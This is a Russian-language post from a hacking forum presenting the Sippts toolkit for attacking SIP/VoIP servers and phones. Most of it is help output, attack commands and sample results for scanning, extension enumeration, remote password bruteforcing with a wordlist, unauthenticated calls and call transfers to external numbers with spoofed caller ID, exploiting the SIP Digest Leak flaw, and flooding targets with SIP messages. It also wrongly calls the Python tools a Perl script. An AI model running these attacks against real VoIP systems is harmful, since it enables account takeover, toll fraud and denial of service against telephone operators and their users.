• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Взлом серверов и устройств VoIP с использованием протокола SIP

Knew100

(L2) cache
Забанен
Регистрация
27.07.2023
Сообщения
332
Реакции
94
Пожалуйста, обратите внимание, что пользователь заблокирован
Sippts - это набор инструментов для аудита серверов и устройств VoIP с использованием протокола SIP и одновременно .
Sippts запрограммирован в скрипте Perl и позволяет взламывать сервера VoIP с помощью протокола SIP.


Sippts был протестирован на:

Linux​

Mac OS X​

Windows​




Установка:​


sudo apt-get install python3
sudo apt-get install python3-pip
pip3 install netifaces
pip3 install IPy




Набор инструментов для теста на проникновение по протоколу SIP​



Sipscan является быстрым сканером для SIP Services, который использует многопоточность.
Sipscan может проверить несколько IP и портовых диапазонов, и он может работать над UDP или TCP.

NMAP является отличным инструментом для сканирования сетей, но над UDP лучше и быстрее отправлять хорошо сформированные пакеты SIP и ждать действительных ответов.

SIPSCAN по умолчанию пытается подключиться к протоколам UDP, TCP и TLS. Вы также можете заставить использовать только UDP, TCP или TLS.

SIPSCAN позволяет нам:

Определить серверы PBX и устройства SIP (SIP Proxy, PBX, телефон, шлюз и т.д.).
Соединение через UDP, TCP или TLS-протокол.
Проверьте UDP, TCP и TLS одновременно.
Используйте разные методы, такие как REGISTER, INVITE или OPTIONS.
Сканировать большие диапазоны сетей.
Сканировать большие диапазоны портов.
Проанализируйте ответы с помощью режима Verbose.
Проверьте, есть ли веб-панель.
Получите все телефоны в сеть, чтобы позвонить одновременно (используя приглашение в качестве метода).
Для настройки пользователя.
Можно сохранить все операции в базу данных.
Можно запустить его в тихой режиме.
Он использует многопоточность, чтобы работать быстрее.

python3 sipscan.py -h

usage: sipscan.py [-h] [-i IPADDR] [-r REMOTE_PORT] [-p PROTO] [-m METHOD] [-d DOMAIN] [-cd CONTACT_DOMAIN] [-fn FROM_NAME] [-fu FROM_USER] [-fd FROM_DOMAIN] [-tn TO_NAME]
[-tu TO_USER] [-td TO_DOMAIN] [-ua USER_AGENT] [-th THREADS] [-ping] [-v] [-vv] [-f FILE]


░██████╗██╗██████╗░ ░██████╗░█████╗░░█████╗░███╗░░██╗
██╔════╝██║██╔══██╗ ██╔════╝██╔══██╗██╔══██╗████╗░██║
╚█████╗░██║██████╔╝ ╚█████╗░██║░░╚═╝███████║██╔██╗██║
░╚═══██╗██║██╔═══╝░ ░╚═══██╗██║░░██╗██╔══██║██║╚████║
██████╔╝██║██║░░░░░ ██████╔╝╚█████╔╝██║░░██║██║░╚███║
╚═════╝░╚═╝╚═╝░░░░░ ╚═════╝░░╚════╝░╚═╝░░╚═╝╚═╝░░╚══╝

█▀█ █▀▀ █▀█ █▀▀ █░░ █░█ ▀▄▀
BY █▀▀ ██▄ █▀▀ ██▄ █▄▄ █▄█ █░█

-= SIP scanner =-

optional arguments:
-h, --help show this help message and exit
-i IPADDR, --ip IPADDR Host/IP address/network (ex: mysipserver.com | 192.168.0.10 | 192.168.0.0/24 | 192.168.0.0-255.255.0.0)
-r REMOTE_PORT, --remote_port REMOTE_PORT Ports to scan. Ex: 5060 | 5070,5080 | 5060-5080 | 5060,5062,5070-5080 (default: 5060)
-p PROTO, --proto PROTO Protocol: udp|tcp|tls|all (default: udp)
-m METHOD, --method METHOD Method used to scan: options, invite, register (default: options)
-d DOMAIN, --domain DOMAIN SIP Domain or IP address. Ex: my.sipserver.com (default: target IP address)
-cd CONTACT_DOMAIN, --contact_domain CONTACT_DOMAIN
Domain or IP address for Contact header. Ex: 10.0.1.2
-fn FROM_NAME, --from_name FROM_NAME From Name. Ex: Bob
-fu FROM_USER, --from_user FROM_USER From User (default: 100)
-fd FROM_DOMAIN, --from_domain FROM_DOMAIN From Domain. Ex: 10.0.0.1
-tn TO_NAME, --to_name TO_NAME To Name. Ex: Alice
-tu TO_USER, --to_user TO_USER To User (default: 100)
-td TO_DOMAIN, --to_domain TO_DOMAIN To Domain. Ex: 10.0.0.1
-ua USER_AGENT, --user_agent USER_AGENT User-Agent header (default: pplsip)
-th THREADS, --threads THREADS Number of threads (default: 100)
-ping Ping host before scan
-v, --verbose Increase verbosity
-vv, --more_verbose Increase more verbosity
-f FILE, --file FILE File with several IPs or network ranges


Fast SIP scanner using multithread. SipScan can check several IPs and port ranges. It works with
UDP, TCP and TLS protocols.

To search SIP services on a simple IP address, for example 192.168.0.1 port 5060 (using OPTIONS method).

python3 sipscan.py -i 192.168.0.1

To search SIP services on 192.168.0.0 network (over TCP connection).

python3 sipscan.py -i 192.168.0.0/24 -p tcp

To search SIP services on 192.168.0.0 network (over TLS connection).

python3 sipscan.py -i 192.168.0.0/24 -p tls

To search a large range of SIP services (using REGISTER method).

python3 sipscan.py -i 192.168.0.1-192.168.254.254 -m register

To search a large network range of SIP services on a large port range (using INVITE method).

python3 sipscan.py -i 192.168.0.1-192.168.254.254 -r 5060-5090 -m invite

To load one or more IPs, ranges or networks you can write all of then into a file (one per line).

python3 sipscan.py -f FILE

Maybe 'pplsip' is a known UserAgent and the system automatically blocks the SIP messages. You can change it with a -ua parameter.

python3 sipscan.py -i 192.168.0.1-192.168.254.254 -ua myUserAgent


Sipexten идентифицирует расширения на сервере SIP.
Также сообщает, требует ли линия расширения аутентификации или нет.
Sipexten может проверить несколько IP и портовых диапазонов.
Функции

Sipexten позволяет нам:

Определите расширения на сервере SIP.
Сканировать большие диапазоны сетей.
Сканировать большие диапазоны расширений.
Соединение через UDP, TCP или TLS-протокол.
Он говорит вам, требует ли линия расширения аутентификации или нет.
Проанализируйте ответы с помощью режима Verbose.
Позвольте нам настроить пользовательский UserAgent.
Можно сохранить все операции в базу данных.
Можно запустить его в тихом режиме.




python3 sipexten.py -h


usage: sipexten.py [-h] -i IPADDR [-r REMOTE_PORT] [-e EXTEN] [-pr PREFIX] [-p PROTO] [-m METHOD] [-d DOMAIN] [-cd CONTACT_DOMAIN] [-fu FROM_USER] [-ua USER_AGENT]

[-th THREADS] [-v] [-vv]


░██████╗██╗██████╗░ ███████╗██╗░░██╗████████╗███████╗███╗░░██╗
██╔════╝██║██╔══██╗ ██╔════╝╚██╗██╔╝╚══██╔══╝██╔════╝████╗░██║
╚█████╗░██║██████╔╝ █████╗░░░╚███╔╝░░░░██║░░░█████╗░░██╔██╗██║
░╚═══██╗██║██╔═══╝░ ██╔══╝░░░██╔██╗░░░░██║░░░██╔══╝░░██║╚████║
██████╔╝██║██║░░░░░ ███████╗██╔╝╚██╗░░░██║░░░███████╗██║░╚███║
╚═════╝░╚═╝╚═╝░░░░░ ╚══════╝╚═╝░░╚═╝░░░╚═╝░░░╚══════╝╚═╝░░╚══╝


█▀█ █▀▀ █▀█ █▀▀ █░░ █░█ ▀▄▀
BY █▀▀ ██▄ █▀▀ ██▄ █▄▄ █▄█ █░█


-= Identify extensions on a PBX =-

optional arguments:
-h, --help show this help message and exit
-i IPADDR, --ip IPADDR Target IP address
-r REMOTE_PORT, --remote_port REMOTE_PORT Remote port (default: 5060)
-e EXTEN, --exten EXTEN Extensions to scan. Ex: 100 | 100,102,105 | 100-200 | 100,102,200-300 (default: 100-300)
-pr PREFIX, --prefix PREFIX Prefix for extensions, used for authentication
-p PROTO, --proto PROTO Protocol: udp|tcp|tls (default: udp)
-m METHOD, --method METHOD Method used to scan: options, invite, register (default: register)
-d DOMAIN, --domain DOMAIN SIP Domain or IP address. Ex: my.sipserver.com (default: target IP address)
-cd CONTACT_DOMAIN, --contact_domain CONTACT_DOMAIN
Domain or IP address for Contact header. Ex: 10.0.1.2
-fu FROM_USER, --from_user FROM_USER From User (default: 100)
-ua USER_AGENT, --user_agent USER_AGENT User-Agent header (default: pplsip)
-th THREADS, --threads THREADS Number of threads (default: 100)
-v, --verbose Increase verbosity
-vv, --more_verbose Increase more verbosity
--nocolor Show result without colors


Identifies extensions on a SIP server. Also tells you if the extension line requires authentication
or not. Sipexten uses multithread and can check several IPs and port ranges.

python3 sipexten.py -i 192.168.2.203 -r 5080 -e 100-200

Siprcrack
- это взломщик паролей. Siprcrack может проверить пароли для нескольких пользователей в разных IP и портовых диапазонах.
Siprcrack - это удаленный взломщик пароля для служб SIP.

Функции

Siprcrack позволяет нам:

Проверьте удаленно список пользователей и паролей с помощью метода регистрации.
Тестируйте пользователей и пароли в сетевом диапазоне.
Используйте префикс для диапазона расширений (возможно, пользователь и расширение не совпадает).
Соединение через UDP, TCP или TLS-протокол.
Возобновите предыдущую сессию.
Проанализируйте ответы с помощью режима Verbose.
Позвольте нам настроить пользовательский UserAgent.





python3 siprcrack.py -h

usage: siprcrack.py [-h] -i IPADDR [-r REMOTE_PORT] -e EXTEN [--user USER] [-pr PREFIX] [-l LENGHT] [-p PROTO] [-d DOMAIN] [-cd CONTACT_DOMAIN] [-ua USER_AGENT] -w WORDLIST

[-th THREADS] [-v] [--nocolor]




░██████╗██╗██████╗░ ██████╗░███████╗███╗░░░███╗░█████╗░████████╗███████╗ ░█████╗░██████╗░░█████╗░░█████╗░██╗░░██╗
██╔════╝██║██╔══██╗ ██╔══██╗██╔════╝████╗░████║██╔══██╗╚══██╔══╝██╔════╝ ██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║░██╔╝
╚█████╗░██║██████╔╝ ██████╔╝█████╗░░██╔████╔██║██║░░██║░░░██║░░░█████╗░░ ██║░░╚═╝██████╔╝███████║██║░░╚═╝█████═╝░
░╚═══██╗██║██╔═══╝░ ██╔══██╗██╔══╝░░██║╚██╔╝██║██║░░██║░░░██║░░░██╔══╝░░ ██║░░██╗██╔══██╗██╔══██║██║░░██╗██╔═██╗░
██████╔╝██║██║░░░░░ ██║░░██║███████╗██║░╚═╝░██║╚█████╔╝░░░██║░░░███████╗ ╚█████╔╝██║░░██║██║░░██║╚█████╔╝██║░╚██╗

╚═════╝░╚═╝╚═╝░░░░░ ╚═╝░░╚═╝╚══════╝╚═╝░░░░░╚═╝░╚════╝░░░░╚═╝░░░╚══════╝ ░╚════╝░╚═╝░░╚═╝╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝

█▀█ █▀▀ █▀█ █▀▀ █░░ █░█ ▀▄▀
BY █▀▀ ██▄ █▀▀ ██▄ █▄▄ █▄█ █░█


-= Remote password cracker =-

optional arguments:

-h, --help show this help message and exit
-i IPADDR, --ip IPADDR Target IP address
-r REMOTE_PORT, --remote_port REMOTE_PORT Remote port (default: 5060)
-e EXTEN, --exten EXTEN Extensions to attack. Ex: 100 | 100,102,105 | 100-200 | 100,102,200-300
--user USER Force From and To User. Use prefix only for Auth User (not in extension)
-pr PREFIX, --prefix PREFIX Prefix for auth user, used for authentication
-l LENGHT, --lenght LENGHT Lenght of the extensions (if sett, left padding with 0's
-p PROTO, --proto PROTO Protocol: udp|tcp|tls (default: udp)
-d DOMAIN, --domain DOMAIN SIP Domain or IP address. Ex: my.sipserver.com (default: target IP address)
-cd CONTACT_DOMAIN, --contact_domain CONTACT_DOMAIN
Domain or IP address for Contact header. Ex: 10.0.1.2
-ua USER_AGENT, --user_agent USER_AGENT User-Agent header (default: pplsip)
-w WORDLIST, --wordlist WORDLIST Wordlist for bruteforce
-th THREADS, --threads THREADS Number of threads (default: 10)
-v, --verbose Increase verbosity
--nocolor Show result without colors


A password cracker making use of digest authentication. Sipcrack uses multithread and can test
passwords for several users using bruteforce.


python3 siprcrack.py -i 192.168.2.203 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt

Sipinvite проверяет, разрешает ли сервер нам звонить без аутентификации. Если SIP-сервер имеет плохую конфигурацию, это позволит нам делать вызовы на внешние номера. Также это может позволить нам перенести вызов на второй внешний номер.

Sipinvite проверяет, позволяет ли сервер PBX делать вызовы без аутентификации. Если SIP-сервер имеет неправильную конфигурацию, это позволит нам делать вызовы на внешние номера. Это также может позволить нам перенести вызов на второй внешний номер.

Например, если ваш сервер Asterisk имеет плохую конфигурацию контекста, вы можете принять запрос приглашения без авторизации. В этом случае злоумышленник может звонить, не зная user/pass.


Sipinvite позволяет нам:

Соединение через UDP, TCP или TLS-протокол.
Проверьте удаленно, если SIP-сервер требует аутентификации для выполнения вызовов.
Сделайте вызовы без AUTH, если у сервера плохая конфигурация.
Передача установленных вызовов ко второму внешнему номеру (1).
Измените Callerid, если сервер позволяет это.
Проанализируйте ответы с помощью режима Verbose.
Позвольте нам настроить пользовательский UserAgent.

Он может использовать действительный пользователь/Pass для выполнения вызовов с аутентификацией.

(1) Если вы можете отправить приглашение через плохого настроенного сервера и звуки вызова на целевом номере, можно отправить второе сообщение (REFER на это дело) для передачи вызова на другой номер:


SipINVITE SIP Server Phone1 Phone2
---> INVITE --->
---> INVITE --->
<--- 100 Trying <---
<--- 100 Trying <---
<--- 180 Ringing <---
<--- 180 Ringing <---
<--- 200 Ok <---
<--- 200 Ok <---
---> ACK --->
<--- 200 Ok <---
---> REFER --->
---> INVITE --->
<--- 202 Accept <---
<---> RTP Session <--->



python3 sipinvite.py -h

usage: sipinvite.py [-h] -i IPADDR [-r RPORT] [-p PROTO] [-d DOMAIN] [-cd CONTACT_DOMAIN] [-fn FROM_NAME] [-fu FROM_USER] [-fd FROM_DOMAIN] [-tn TO_NAME] [-tu TO_USER]

[-td TO_DOMAIN] [-t TRANSFER_NUMBER] [--user USER] [--pass PWD] [-ua USER_AGENT] [--no-sdp] [-v]


░██████╗██╗██████╗░ ██╗███╗░░██╗██╗░░░██╗██╗████████╗███████╗
██╔════╝██║██╔══██╗ ██║████╗░██║██║░░░██║██║╚══██╔══╝██╔════╝
╚█████╗░██║██████╔╝ ██║██╔██╗██║╚██╗░██╔╝██║░░░██║░░░█████╗░░
░╚═══██╗██║██╔═══╝░ ██║██║╚████║░╚████╔╝░██║░░░██║░░░██╔══╝░░
██████╔╝██║██║░░░░░ ██║██║░╚███║░░╚██╔╝░░██║░░░██║░░░███████╗
╚═════╝░╚═╝╚═╝░░░░░ ╚═╝╚═╝░░╚══╝░░░╚═╝░░░╚═╝░░░╚═╝░░░╚══════╝


█▀█ █▀▀ █▀█ █▀▀ █░░ █░█ ▀▄▀
BY █▀▀ ██▄ █▀▀ ██▄ █▄▄ █▄█ █░█


-= SIP Invite attack =-

optional arguments:

-h, --help show this help message and exit
-i IPADDR, --ip IPADDR Target IP address
-r RPORT, --remote_port RPORT Remote port (default: 5060)
-p PROTO, --proto PROTO Protocol: udp|tcp|tls (default: udp)
-d DOMAIN, --domain DOMAIN SIP Domain or IP address. Ex: my.sipserver.com (default: target IP address)
-cd CONTACT_DOMAIN, --contact_domain CONTACT_DOMAIN
Domain or IP address for Contact header. Ex: 10.0.1.2
-fn FROM_NAME, --from_name FROM_NAME From Name. Ex: Bob
-fu FROM_USER, --from_user FROM_USER From User (default: 100)
-fd FROM_DOMAIN, --from_domain FROM_DOMAIN From Domain. Ex: 10.0.0.1
-tn TO_NAME, --to_name TO_NAME To Name. Ex: Alice
-tu TO_USER, --to_user TO_USER To User (default: 100)
-td TO_DOMAIN, --to_domain TO_DOMAIN To Domain. Ex: 10.0.0.1
-t TRANSFER_NUMBER, --transfer TRANSFER_NUMBER Phone number to transfer the call
--user USER Authentication user
--pass PWD Authentication password
-ua USER_AGENT, --user_agent USER_AGENT User-Agent header (default: pplsip)
--no-sdp Do not send SDP (by default is included)
-v, --verbose Increase verbosity
--nocolor Show result without colors


Checks if a server allow us to make calls without authentication. If the SIP server has a bad
configuration, it will allow us to make calls to external numbers. Also it can allow us to transfer
the call to a second external number.


Trying to make a call to the exten 100 (without auth).

python3 sipinvite.py -i 192.168.0.1 -tu 100

Trying to make a call to the exten 100 (with auth).

python3 sipinvite.py -i 192.168.0.1 --user sipuser --pass supersecret -tu 100

Trying to make a call to the number 555555555 (without auth) with source number 200.

python3 sipinvite.py -i 192.168.0.1 -fu 200 -tu 555555555 -v

Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.

python3 sipinvite.py -i 192.168.0.1 -tu 555555555 -t 444444444

Trying to make a call to the number 555555555 (without auth) using callerid 123456789 and transfer it to number 444444444.

python3 sipinvite.py -i 192.168.0.1 -tu 555555555 -t 444444444 -fu 123456789

Maybe 'pplsip' is a known UserAgent and the system automatically blocks the SIP messages. You can change it with a -ua parameter.

python3 sipinvite.py -i 192.168.0.1 -tu 555555555 -ua myUserAgent

The call from de Devil };->

python3 sipinvite.py -i 192.168.0.1 -tu 555555555 -fu 666666666 -fn Devil



Asterisk server with a well-configured context could allow us to make calls without user authentication:

python3 sipinvite.py -i 192.168.0.55 -tu 0034666666666

[+] Sending INVITE 100 => 0034666666666
[-] 404 Not Found

On the Asterisk console you can see something similar to this:

NOTICE[1034]: chan_sip.c:22753 handle_request_invite: Call from '' (X.X.X.X:5070) to extension '0034666666666' rejected because extension not found in context 'default'.

Asterisk server with a bad-configured context and that also allows us to make calls without user authentication:

python3 sipinvite.py -i 192.168.0.55 -tu 0034666666666

[+] Sending INVITE 100 => 0034666666666
[-] 100 Trying
[-] 183 Session Progress
[-] 200 OK


On the Asterisk console you can see something similar to this:

== Using SIP RTP CoS mark 5
-- Executing [0034666666666@default:1] Dial("SIP/192.160.0.55-00000001", "SIP/trunk/0034666666666,30") in new stack
== Using SIP RTP CoS mark 5
-- Called SIP/trunk/0034666666666


Trying a transfer in the same vulnerable server:

python3 sipinvite.py -i 192.168.0.55 -tu 0034666666666 -t 0034777777777


[+] Sending INVITE 100 => 0034666666666

[-] 100 Trying
[-] 183 Session Progress
[-] 200 OK
[+] Sending ACK
[+] Sending REFER 100 => 0034777777777
[-] 202 Accepted


On the Asterisk console you can see something similar to this:


== Using SIP RTP CoS mark 5

-- Executing [0034666666666@default:1] Dial("SIP/192.168.0.55-00000000", "SIP/trunk/0034666666666,30") in new stack

== Using SIP RTP CoS mark 5

-- Called SIP/trunk/0034666666666
-- SIP/trunk-00000001 is making progress passing it to SIP/192.168.0.55-00000000
-- SIP/trunk-00000001 answered SIP/192.168.0.55-00000000
-- Remotely bridging SIP/192.168.0.55-00000000 and SIP/trunk-00000001
-- Executing [0034777777777@default:1] Dial("SIP/trunk-00000001", "SIP/trunk/0034777777777,30") in new stack
== Using SIP RTP CoS mark 5
-- Called SIP/trunk/0034777777777

SipDigestLeak использует уязвимость утечки Digest SIP, обнаруженную Sandro Gauci, который затрагивает большое количество аппаратных и программных устройств.

SipdigestLeak использует уязвимость, обнаруженную Sandro Gauci, которая затрагивает большое количество аппаратных и программных устройств. Описание уязвимости здесь: https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf


Цель состоит в том, чтобы позвонить на телефонное устройство (приглашенным INVITE сообщением). Когда на другой стороне кто-то ответит на звонок, не будет звука, а затем он или она повесит трубку. Тогда мы получим сообщение BYE. Далее мы отправим необходимую требуемую аутентификацию 407. Если телефонное устройство уязвимо, оно ответит с другим сообщением, которое будет включать ответ аутентификации.


Наличие ответа, мы можем попытаться получить пароль с помощью атаки BruteForce на нашу локальную машину.


Script Phone
---> INVITE --->
<--- 100 Trying <---
<--- 180 Ringing <---
<--- 200 OK <---
---> ACK --->
<--- BYE <---
---> 407 Proxy Authentication Required (with digest) --->
<--- BYE (with digest response) <---


python3 sipdigestleak.py -h

usage: sipdigestleak.py [-h] [-i IPADDR] [-r RPORT] [-p PROTO] [-d DOMAIN] [-cd CONTACT_DOMAIN] [-fn FROM_NAME] [-fu FROM_USER] [-fd FROM_DOMAIN] [-tn TO_NAME] [-tu TO_USER]

[-td TO_DOMAIN] [-ua USER_AGENT] [-o OFILE]


░██████╗██╗██████╗░ ██████╗░██╗░██████╗░███████╗░██████╗████████╗ ██╗░░░░░███████╗░█████╗░██╗░░██╗
██╔════╝██║██╔══██╗ ██╔══██╗██║██╔════╝░██╔════╝██╔════╝╚══██╔══╝ ██║░░░░░██╔════╝██╔══██╗██║░██╔╝
╚█████╗░██║██████╔╝ ██║░░██║██║██║░░██╗░█████╗░░╚█████╗░░░░██║░░░ ██║░░░░░█████╗░░███████║█████═╝░
░╚═══██╗██║██╔═══╝░ ██║░░██║██║██║░░╚██╗██╔══╝░░░╚═══██╗░░░██║░░░ ██║░░░░░██╔══╝░░██╔══██║██╔═██╗░
██████╔╝██║██║░░░░░ ██████╔╝██║╚██████╔╝███████╗██████╔╝░░░██║░░░ ███████╗███████╗██║░░██║██║░╚██╗
╚═════╝░╚═╝╚═╝░░░░░ ╚═════╝░╚═╝░╚═════╝░╚══════╝╚═════╝░░░░╚═╝░░░ ╚══════╝╚══════╝╚═╝░░╚═╝╚═╝░░╚═╝


█▀█ █▀▀ █▀█ █▀▀ █░░ █░█ ▀▄▀
BY █▀▀ ██▄ █▀▀ ██▄ █▄▄ █▄█ █░█


-= Exploit the SIP Digest Leak vulnerability =-

optional arguments:

-h, --help show this help message and exit
-i IPADDR, --ip IPADDR Target IP address
-r RPORT, --remote_port RPORT Remote port (default: 5060)
-p PROTO, --proto PROTO Protocol: udp|tcp (default: udp)
-d DOMAIN, --domain DOMAIN SIP Domain or IP address. Ex: my.sipserver.com (default: target IP address)
-cd CONTACT_DOMAIN, --contact_domain CONTACT_DOMAIN
Domain or IP address for Contact header. Ex: 10.0.1.2
-fn FROM_NAME, --from_name FROM_NAME From Name. Ex: Bob
-fu FROM_USER, --from_user FROM_USER From User (default: 100)
-fd FROM_DOMAIN, --from_domain FROM_DOMAIN From Domain. Ex: 10.0.0.1
-tn TO_NAME, --to_name TO_NAME To Name. Ex: Alice
-tu TO_USER, --to_user TO_USER To User (default: 100)
-td TO_DOMAIN, --to_domain TO_DOMAIN To Domain. Ex: 10.0.0.1
-ua USER_AGENT, --user_agent USER_AGENT User-Agent header (default: pplsip)
-o OFILE, --output-file OFILE Save digest to file in SipCrack format


The SIP Digest Leak is a vulnerability that affects a large number of SIP Phones, including both hardware
and software IP Phones as well as phone adapters (VoIP to analogue). The vulnerability allows leakage of
the Digest authentication response, which is computed from the password. An offline password attack is then
possible and can recover most passwords based on the challenge response.


python3 sipdigestleak.py -i 192.168.2.235

Sipflood отправит неограниченные сообщения в цель.

python3 sipflood.py -h

usage: sipflood.py [-h] -i IPADDR [-r RPORT] [-p PROTO] -m METHOD [-d DOMAIN] [-cd CONTACT_DOMAIN] [-fn FROM_NAME] [-fu FROM_USER] [-fd FROM_DOMAIN] [-tn TO_NAME] [-tu TO_USER]

[-td TO_DOMAIN] [--digest DIGEST] [-ua USER_AGENT] [-v] [-vv]


░██████╗██╗██████╗░ ███████╗██╗░░░░░░█████╗░░█████╗░██████╗░
██╔════╝██║██╔══██╗ ██╔════╝██║░░░░░██╔══██╗██╔══██╗██╔══██╗
╚█████╗░██║██████╔╝ █████╗░░██║░░░░░██║░░██║██║░░██║██║░░██║
░╚═══██╗██║██╔═══╝░ ██╔══╝░░██║░░░░░██║░░██║██║░░██║██║░░██║
██████╔╝██║██║░░░░░ ██║░░░░░███████╗╚█████╔╝╚█████╔╝██████╔╝
╚═════╝░╚═╝╚═╝░░░░░ ╚═╝░░░░░╚══════╝░╚════╝░░╚════╝░╚═════╝░

█▀█ █▀▀ █▀█ █▀▀ █░░ █░█ ▀▄▀
BY █▀▀ ██▄ █▀▀ ██▄ █▄▄ █▄█ █░█

-= Flood a SIP method =-


optional arguments:

-h, --help show this help message and exit
-i IPADDR, --ip IPADDR Target IP address
-r RPORT, --port RPORT Remote port (default: 5060)
-p PROTO, --proto PROTO Protocol: udp|tcp|tls (default: udp)
-m METHOD, --method METHOD SIP Method: options|invite|register|subscribe|cancel|bye|...
-d DOMAIN, --domain DOMAIN SIP Domain or IP address. Ex: my.sipserver.com (default: target IP address)
-cd CONTACT_DOMAIN, --contact_domain CONTACT_DOMAIN
Domain or IP address for Contact header. Ex: 10.0.1.2
-fn FROM_NAME, --from_name FROM_NAME From Name. Ex: Bob
-fu FROM_USER, --from_user FROM_USER From User (default: 100)
-fd FROM_DOMAIN, --from_domain FROM_DOMAIN From Domain. Ex: 10.0.0.1
-tn TO_NAME, --to_name TO_NAME To Name. Ex: Alice
-tu TO_USER, --to_user TO_USER To User (default: 100)
-td TO_DOMAIN, --to_domain TO_DOMAIN To Domain. Ex: 10.0.0.1
--digest DIGEST Digest
-ua USER_AGENT, --user_agent USER_AGENT User-Agent header (default: pplsip)
-v, --verbose Increase verbosity
-vv, --more_verbose Increase more verbosity


SIP Flood send messages with a selected method

python3 sipflood.py -i 192.168.2.203 -r 5080 -m invite -v

Ctrl+C stop

SipSend позволяйт отправить индивидуальное сообщение SIP и проанализировать ответ.

python3 sipsend.py -h

usage: sipsend.py [-h] -i IPADDR [-r RPORT] [-p PROTO] -m METHOD [-d DOMAIN] [-cd CONTACT_DOMAIN] [-fn FROM_NAME] [-fu FROM_USER] [-fd FROM_DOMAIN] [-ft FROM_TAG] [-tn TO_NAME]
[-tu TO_USER] [-td TO_DOMAIN] [-tt TO_TAG] [--digest DIGEST] [--branch BRANCH] [-cid CALLID] [--cseq CSEQ] [--sdp] [-ua USER_AGENT]



░██████╗██╗██████╗░ ░██████╗███████╗███╗░░██╗██████╗░
██╔════╝██║██╔══██╗ ██╔════╝██╔════╝████╗░██║██╔══██╗
╚█████╗░██║██████╔╝ ╚█████╗░█████╗░░██╔██╗██║██║░░██║
░╚═══██╗██║██╔═══╝░ ░╚═══██╗██╔══╝░░██║╚████║██║░░██║
██████╔╝██║██║░░░░░ ██████╔╝███████╗██║░╚███║██████╔╝
╚═════╝░╚═╝╚═╝░░░░░ ╚═════╝░╚══════╝╚═╝░░╚══╝╚═════╝░

█▀█ █▀▀ █▀█ █▀▀ █░░ █░█ ▀▄▀
BY █▀▀ ██▄ █▀▀ ██▄ █▄▄ █▄█ █░█

-= Send a customized message =-

optional arguments:

-h, --help show this help message and exit
-i IPADDR, --ip IPADDR Target IP address
-r RPORT, --port RPORT Remote port (default: 5060)
-p PROTO, --proto PROTO Protocol: udp|tcp (default: udp)
-m METHOD, --method METHOD SIP Method: options|invite|register|subscribe|cancel|bye|...
-d DOMAIN, --domain DOMAIN SIP Domain or IP address. Ex: my.sipserver.com (default: target IP address)
-cd CONTACT_DOMAIN, --contact_domain CONTACT_DOMAIN
Domain or IP address for Contact header. Ex: 10.0.1.2
-fn FROM_NAME, --from_name FROM_NAME From Name. Ex: Bob
-fu FROM_USER, --from_user FROM_USER From User (default: 100)
-fd FROM_DOMAIN, --from_domain FROM_DOMAIN From Domain. Ex: 10.0.0.1
-ft FROM_TAG, --from_tag FROM_TAG From Tag
-tn TO_NAME, --to_name TO_NAME To Name. Ex: Alice
-tu TO_USER, --to_user TO_USER To User (default: 100)
-td TO_DOMAIN, --to_domain TO_DOMAIN To Domain. Ex: 10.0.0.1
-tt TO_TAG, --to_tag TO_TAG To Tag
--digest DIGEST Digest
--branch BRANCH Branch
-cid CALLID, --callid CALLID CallID
--cseq CSEQ Seq number
--sdp Include SDP
-ua USER_AGENT, --user_agent USER_AGENT User-Agent header (default: pplsip)

SIP Send allow us to send a customized SIP message and analyze the response.

SipEnumerate перечисляет доступные методы службы/сервера SIP.

python3 sipenumerate.py -h

usage: sipenumerate.py [-h] -i IPADDR [-r RPORT] [-p PROTO] [-d DOMAIN] [-cd CONTACT_DOMAIN] [-fn FROM_NAME] [-fu FROM_USER] [-tn TO_NAME] [-tu TO_USER] [-ua USER_AGENT] [-v]


░██████╗██╗██████╗░ ███████╗███╗░░██╗██╗░░░██╗███╗░░░███╗███████╗██████╗░░█████╗░████████╗███████╗
██╔════╝██║██╔══██╗ ██╔════╝████╗░██║██║░░░██║████╗░████║██╔════╝██╔══██╗██╔══██╗╚══██╔══╝██╔════╝
╚█████╗░██║██████╔╝ █████╗░░██╔██╗██║██║░░░██║██╔████╔██║█████╗░░██████╔╝███████║░░░██║░░░█████╗░░
░╚═══██╗██║██╔═══╝░ ██╔══╝░░██║╚████║██║░░░██║██║╚██╔╝██║██╔══╝░░██╔══██╗██╔══██║░░░██║░░░██╔══╝░░
██████╔╝██║██║░░░░░ ███████╗██║░╚███║╚██████╔╝██║░╚═╝░██║███████╗██║░░██║██║░░██║░░░██║░░░███████╗
╚═════╝░╚═╝╚═╝░░░░░ ╚══════╝╚═╝░░╚══╝░╚═════╝░╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═╝░░╚═╝░░░╚═╝░░░╚══════╝

█▀█ █▀▀ █▀█ █▀▀ █░░ █░█ ▀▄▀
BY █▀▀ ██▄ █▀▀ ██▄ █▄▄ █▄█ █░█

-= Enumerate methods =-

optional arguments:

-h, --help show this help message and exit
-i IPADDR, --ip IPADDR Target IP address
-r RPORT, --port RPORT Remote port (default: 5060)
-p PROTO, --proto PROTO Protocol: udp|tcp (default: udp)
-d DOMAIN, --domain DOMAIN SIP Domain or IP address. Ex: my.sipserver.com (default: target IP address)
-cd CONTACT_DOMAIN, --contact_domain CONTACT_DOMAIN
Domain or IP address for Contact header. Ex: 10.0.1.2
-fn FROM_NAME, --from_name FROM_NAME From Name. Ex: Bob
-fu FROM_USER, --from_user FROM_USER From User (default: 100)
-tn TO_NAME, --to_name TO_NAME To Name. Ex: Alice
-tu TO_USER, --to_user TO_USER To User (default: 100)
-ua USER_AGENT, --user_agent USER_AGENT User-Agent header (default: pplsip)
-v, --verbose Increase verbosity



Enumerate available methods of a SIP service/server.


python3 sipenumerate.py -i 192.168.2.203 -r 5080


[!] IP address: 192.168.2.203:5080/UDP

REGISTER => 401 Unauthorized
SUBSCRIBE => 401 Unauthorized
NOTIFY => 200 OK
PUBLISH => 489 Bad Event
MESSAGE => 415 Unsupported Media Type
INVITE => 404 Not Found
OPTIONS => 404 Not Found
ACK => 404 Not Found
CANCEL => 481 Call leg/transaction does not exist
BYE => 481 Call leg/transaction does not exist
PRACK => 481 Call leg/transaction does not exist
INFO => 481 Call leg/transaction does not exist
REFER => 603 Declined (No dialog)
UPDATE => 481 Call leg/transaction does not exist

